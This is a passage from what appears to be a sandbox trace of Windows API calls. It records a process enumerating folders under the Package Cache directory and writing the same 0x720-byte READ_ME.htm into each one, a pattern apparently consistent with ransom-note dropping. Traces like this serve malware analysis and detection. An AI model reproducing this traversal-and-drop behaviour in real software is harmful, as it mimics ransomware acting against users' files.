lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.134] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.134] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd373e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.134] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0142.134] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0142.134] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.134] SetErrorMode (uMode=0x0) returned 0x1 [0142.135] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x5c [0142.135] SetErrorMode (uMode=0x1) returned 0x0 [0142.136] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.136] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.136] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd373e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7584c900, ftCreationTime.dwHighDateTime=0x1d0a14b, ftLastAccessTime.dwLowDateTime=0x7584c900, ftLastAccessTime.dwHighDateTime=0x1d0a14b, ftLastWriteTime.dwLowDateTime=0x7584c900, ftLastWriteTime.dwHighDateTime=0x1d0a14b, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0142.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7584c900, ftCreationTime.dwHighDateTime=0x1d0a14b, ftLastAccessTime.dwLowDateTime=0x7584c900, ftLastAccessTime.dwHighDateTime=0x1d0a14b, ftLastWriteTime.dwLowDateTime=0x7584c900, ftLastWriteTime.dwHighDateTime=0x1d0a14b, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0142.137] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.137] SetErrorMode (uMode=0x0) returned 0x1 [0142.137] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x5c [0142.137] SetErrorMode (uMode=0x1) returned 0x0 [0142.137] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd373e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd373e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd373e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7584c900, ftCreationTime.dwHighDateTime=0x1d0a14b, ftLastAccessTime.dwLowDateTime=0x7584c900, ftLastAccessTime.dwHighDateTime=0x1d0a14b, ftLastWriteTime.dwLowDateTime=0x7584c900, ftLastWriteTime.dwHighDateTime=0x1d0a14b, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0142.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7584c900, ftCreationTime.dwHighDateTime=0x1d0a14b, ftLastAccessTime.dwLowDateTime=0x7584c900, ftLastAccessTime.dwHighDateTime=0x1d0a14b, ftLastWriteTime.dwLowDateTime=0x7584c900, ftLastWriteTime.dwHighDateTime=0x1d0a14b, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0142.138] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.138] SetErrorMode (uMode=0x0) returned 0x1 [0142.139] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\READ_ME.htm", lpFilePart=0x0) returned 0x68 [0142.139] SetErrorMode (uMode=0x1) returned 0x0 [0142.139] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.139] GetFileType (hFile=0x1d0) returned 0x1 [0142.139] SetErrorMode (uMode=0x0) returned 0x1 [0142.139] GetFileType (hFile=0x1d0) returned 0x1 [0142.139] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ce058*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29ce058*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0142.141] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0142.141] SetErrorMode (uMode=0x1) returned 0x0 [0142.141] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.142] GetFileType (hFile=0x1d0) returned 0x1 [0142.142] SetErrorMode (uMode=0x0) returned 0x1 [0142.142] GetFileType (hFile=0x1d0) returned 0x1 [0142.142] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d26b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29d26b8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.144] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.144] SetErrorMode (uMode=0x1) returned 0x0 [0142.144] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.145] GetFileType (hFile=0x1d0) returned 0x1 [0142.145] SetErrorMode (uMode=0x0) returned 0x1 [0142.145] GetFileType (hFile=0x1d0) returned 0x1 [0142.145] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d6cf8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29d6cf8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.147] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\READ_ME.htm", lpFilePart=0x0) returned 0x55 [0142.147] SetErrorMode (uMode=0x1) returned 0x0 [0142.147] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.147] GetFileType (hFile=0x1d0) returned 0x1 [0142.147] SetErrorMode (uMode=0x0) returned 0x1 [0142.147] GetFileType (hFile=0x1d0) returned 0x1 [0142.147] WriteFile (in: hFile=0x1d0, lpBuffer=0x29db318*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29db318*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.149] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpFilePart=0x0) returned 0x49 [0142.149] SetErrorMode (uMode=0x1) returned 0x0 [0142.149] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0142.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.150] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.150] SetErrorMode (uMode=0x0) returned 0x1 [0142.150] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpFilePart=0x0) returned 0x49 [0142.150] SetErrorMode (uMode=0x1) returned 0x0 [0142.150] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.151] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0142.151] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.151] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.151] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.151] SetErrorMode (uMode=0x0) returned 0x1 [0142.151] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", lpFilePart=0x0) returned 0x52 [0142.151] SetErrorMode (uMode=0x1) returned 0x0 [0142.151] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.152] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.152] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0142.152] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.152] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.152] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.152] SetErrorMode (uMode=0x0) returned 0x1 [0142.152] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", lpFilePart=0x0) returned 